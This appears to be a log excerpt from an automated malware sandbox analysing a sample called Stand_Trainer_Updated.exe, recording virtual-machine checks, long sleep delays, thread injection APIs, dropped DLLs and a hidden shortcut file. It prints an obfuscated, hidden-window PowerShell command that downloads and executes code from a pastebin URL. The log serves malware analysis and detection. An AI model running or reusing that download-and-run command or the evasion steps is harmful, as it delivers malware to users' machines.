Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Memory allocated: 22D07BA0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Memory allocated: 22D215A0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3094	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6703	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1384	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4921	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4874	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 419
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5529
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4221

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.dll			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Backend.dll			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

API coverage: 2.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1792	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5480	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5844	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7516	Thread sleep count: 1384 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7520	Thread sleep count: 313 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532	Thread sleep count: 132 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep count: 4921 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7640	Thread sleep count: 4874 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7700	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep count: 419 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep count: 150 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6836	Thread sleep count: 306 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7960	Thread sleep count: 5529 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7996	Thread sleep time: -23058430092136925s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8016	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7960	Thread sleep count: 4221 > 30

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 00000007.00000002.2552363680.000001F0CD83F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2554300702.000001F0D2E54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2552266377.000001F0CD82B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000001.00000002.1549184232.0000026CA964F000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1745962060.000002927D98A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1846512866.000002409890E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

Code function: 6_2_00007FFB22655024 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_00007FFB22655024

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Code function: 6_2_00007FFB22654CE8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		6_2_00007FFB22654CE8
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Code function: 6_2_00007FFB22655024 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		6_2_00007FFB22655024

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject threads in other processes

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

Code function: 6_2_00007FFB22651910 VirtualAllocEx,WriteProcessMemory,VirtualAllocEx,WriteProcessMemory,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,VirtualFreeEx,VirtualFreeEx,VirtualFreeEx,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

6_2_00007FFB22651910

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe "C:\Users\user~1\AppData\Local\Temp\Stand_Trainer_Updated.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD0F0.tmp" "c:\Users\user\AppData\Local\Temp\dwdaoju2\CSC6D3B5E607DDC4941A0658A6CD27B5246.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft OneDrive\FileSync VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
